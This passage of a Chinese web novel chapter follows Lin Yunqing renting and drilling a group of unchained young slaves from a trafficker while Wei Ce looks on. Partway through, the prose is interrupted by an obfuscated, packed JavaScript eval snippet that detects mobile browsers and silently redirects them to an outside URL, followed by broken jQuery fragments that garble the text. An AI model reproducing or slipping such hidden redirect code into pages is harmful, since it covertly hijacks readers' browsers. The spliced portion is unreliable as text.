脚上骤然一轻,小奴低头看着脚踝处的伤口。
想逃。
这是他双脚得以自由后的第一想法。少年状似无意地环顾四周,却见到门口似有人影摇动,刚刚来的时候便看到有人在把守。他抿起唇,只能暂时歇了逃跑的心思。这么多人,他没有胜算。
少年活动着双脚,敛去眸中的暗色,虽说暂时放弃逃走,却还是忍不住想着,有没有什么漏洞可钻,让他能重获得自由。
突然,肩膀上多了一只温热的手。
他不由得一抖,身体也下意识绷紧了。可随之而来的只有温热,没有感受到往日的那般的疼痛。那手只是搭在他肩膀上。好似只是坚定地,温和的给他支撑,没有掐他,或者拧他……
“不错,再试试。”一声柔和的女声传来,语气中含着鼓励。他抬眸看向对方。真是个怪女人。
林云清感受到了他眸中的警惕,也只是深深看了他一眼,随后便面无表情地收回了搭在他肩上的手,人也退开了一些。
小奴抿了抿唇,他低头看了看自己的双脚,活动了几下,随后深吸一口气,再次旋转起来。
没有了镣铐的束缚,他转得畅快肆意,仿佛从未觉得如此轻盈过,好像鸟儿回到了天上,即便下一刻还会被关在笼中,他也在努力感受自由的瞬间。少年一口气连转十几圈,速度也越来越快,终于,还是体力不支,摔在了地上。
林云清蹙了蹙眉,随即敛了神色,恢复了漠然的神态。“不错。”她点点头,看着倒地的少年自己慢慢爬起来。
视线扫过其他的小奴,林云清不紧不慢地于怀中掏出一袋银子,递给人牙子,道:“我们先前谈过的价格——”人牙子搓搓手,手亦搭上这钱袋子,他眉目弯起,往自己方向拽过来。
却纹丝不动。
他顿了顿,带着讨好的笑意,看向林云清。便听她道:“我多给你十两,结束后,若是他们表现的好,你还能得的更多,再翻一番,也未可知。”
这话好似给他服了一剂定心汤药,人牙子笑的见牙不见眼,连连称是。林云清松了手,钱袋子进了他的手中。
人牙子悄悄捏了捏,又于掌心颠了颠,分量果真不错。他忙不迭地把余下的小奴都解了锁链。
一群小奴依次被解开锁链,都有些不安起来。纷纷小幅度活动着双脚,感受着脚腕间的轻松,彼此间悄悄交换眼神,惴惴之意明显。
他们其中有胆大的,会悄悄抬头看向林云清,却又在对上她的视线后纷纷躲避。
直视贵人是不好的,他们不喜欢,自己会招来打骂。
然而,预想中的骂声并未传来。林云清仿佛不在意一般,淡淡地扫过一众小奴。
几个聪明一些的少年,心中觉得异样。这个奇怪的女人,好像与那些来租他们的贵人都不同。她不热络,亦没有怜悯,看向他们的眼神清明的很。
还以轻飘飘地几句话,还了他们片刻自由。
林云清并不知道他们在想什么,见一个个地都放松了手脚,冷声道:“接下来,跪下。”
“听见没有,让你们跪下呢!”人牙子把钱揣进怀里,喜滋滋地上前,用脚把还在愣着的小奴踹倒。
小奴们垂下头,几个人掩住失望的眸色,纷纷跪地,乌压压跪了一片。
林云清摇摇头,缓缓走到他们之间,来回踱步几次,“腰背挺直,头不要低着,双手微抬至前方,腕子柔软一些。”
有一两个小奴做的像点样子,更多的则是歪七扭八。
“起来。”林云清淡淡发出指令。众小奴慢慢从地上爬起,便又听她指挥道:“围着我,排成一排,走两圈。”
虽然不明白要做什么,小奴们还是跟着做了。他们抬起脚,围绕着林云清和人牙子走了起来,感受着久违的轻盈,走的速度也变快了许多,却还是有些不稳。
魏策于院子的另一侧指导着鹄族人动作,却也一直留心着林云清的方向。此时看着她对着一群少年发号指令,让他们又跪又走,他不由得蹙起了眉。
他看不懂林云清想做什么。
林云清抬手,打断了这群小奴的动作,见大家都停了下来,她方摇头道:“一坐一卧,一行一跪,皆差的太多了,脚腕上的伤也要治,不然不能用。”说着,叹了口气,甚是惋惜道:“这样怎么行,近日,这群小奴就留在三莫教教养吧。”
“什么?”人牙子愣了,防备地看着林云清。这怎么行?留在三莫教,他还能再将人领回来吗。
“你怕什么?”林云清不耐烦地看着他,不耐烦地啧了一声,招了招手,对着先前的小奴道:“罢了,你,取纸笔来。”
小奴顿了顿,看了林云清一眼,转身跑向了林云清和魏策之前坐的位置。
“做什么?”魏策垂下眼睫,看着跑来的小奴,淡淡道。小奴抿唇瑟缩一下,快速瞥了一眼魏策,按捺住心底的惧意,小声道:“贵人要我来取纸笔。”
魏策并未多说什么,取了东西,转身递给他。
小奴犹豫了一下,在本来就不怎么干净的衣服上迅速擦了擦手,然后捏住纸笔的最边缘位置,把东西接了过来。魏策顿了顿,并未说什么。
“我知你有顾虑,你可每日去三莫教盯着,我们三莫教不是无名小派,既然你不放心,那我这便给你立个字据。若是到日子并未还人和银两,你可拿着去衙门讨说法。”林云清冷声道。
说完,她接过了纸笔,对着小奴招手。小奴愣愣走近。她轻笑一声,让他伸手。纸铺在小奴掌心,林云清就着他的手掌写了起来。小奴抿紧唇,感觉手心痒痒的。
魏策眯起眼,看向林云清方向,咬紧了牙,手亦是攥紧了。这群小奴虽然看着是少年,实则观其骨龄,年纪应差不多满十八了,只是常年羸弱,所以显得小。
他看着林云清浑不在意地接近他们,并未诸多防备,心中好似堵住了。
人牙子仍在犹豫,林云清垂眸写着字据,又补了一句:“若还是不放心,那银两我们兑成十份。每日一结,正好到法会结束。这样已是我们最大的诚意了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305117|161819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>还有这好事?本来还在犹豫的人牙子,听见这消息,彻底动摇了。
本来是事成之后才能拿到银钱,可如此一来,他便每日都有进账,哪里寻得这样好的主顾?!
三莫教确是大教,他也从未听过有什么不妥当的地方。想到这里,人牙子咬咬牙道:“那……那就依您的!”
亲眼见着林云清立了字据,二人分别按了印信,林云清想了想,又在背面加按了那块玉牌的印记。
“往后几日,你若得空,便拿着这信,可寻教中人领你去见这群小奴。”林云清眼中快速闪过暗光,扬起一个淡淡的笑意。
“得嘞!”人牙子笑得谄媚,他将信妥帖收好,又对着这群小奴敲打了一番,退到了一旁。
林云清对着这群小奴看了看,便又指点起他们行走坐卧体态来。
突然,一阵争执声由院门响起,林云清闻声顿了顿,侧耳细听。
院外是林云清调来的三莫教的几名教徒,换了常服于院门把守,不许人靠近。耳廓一动,待她听清争执的内容后,不由得摇头笑了。
魏策抿唇,神色不欲。他坐在一旁,偶尔出声指点几下动作,让他们自行操练,视线多停留在林云清身上。闻声亦是向林云清看来,却见到她轻笑一声,向院门走去,神态闲适。
吱嘎一声,院门打开。
“云倾仙使。”几人见到林云清,纷纷行礼。随后一人抬起头,有些迟疑道,“这人非要进来,带了个大包袱,还不让我们检查!”
“哼!你懂什么?这东西你们碰脏了怎么办?”那人将胸一挺,眼神中带了点对大老粗的蔑视——此人正是禄绸庄的掌柜,来送衣服的。
林云清轻笑一声,安抚几人道:“好了,莫生气,不妨事的……让他进来吧。”
仙使都发话了,几人也没打算跟他一般见识,干脆装作看不见他。
林云清暗笑,这掌柜的脾气是有些差,都快将人得罪光了。
她将人带了进去,边走边悄悄打量着他。今日掌柜的倒穿得有几分正经,一身鲜亮的宝蓝色衣袍,姜黄织锦的滚边,看着富贵的很。
他身后小厮低头推着一个独轮车,车上放着的,是一个巨大包袱——便是刚刚被拦住的那个。她知道里面是什么,并未让他们检查。
“魏策。”林云清将人带到了魏策面前,出声轻唤了一声。魏策已出了些微薄的汗意,此时状似无意地饮着茶,神情淡淡看向来人。
他只粗粗扫了眼掌柜的,视线便又回到林云清脸上,看着她被晒得红红的双颊,微不可查地蹙起了眉,心中还是有些气闷的,却又有些隐隐的心疼起来。
林云清却不在意,她带着浅笑,对魏策引荐道:“这是禄绸庄掌柜的,你应当还记得吧?他今日是来送成衣的。”
魏策如何不记得?他眼神颇为不自在地瞟了眼林云清。
在她腰间,还挂那枚小小的香囊。
月白色香囊,在玄色衣裙上颇为显眼。他喉结动了动,视线便有几分不自然的闪躲。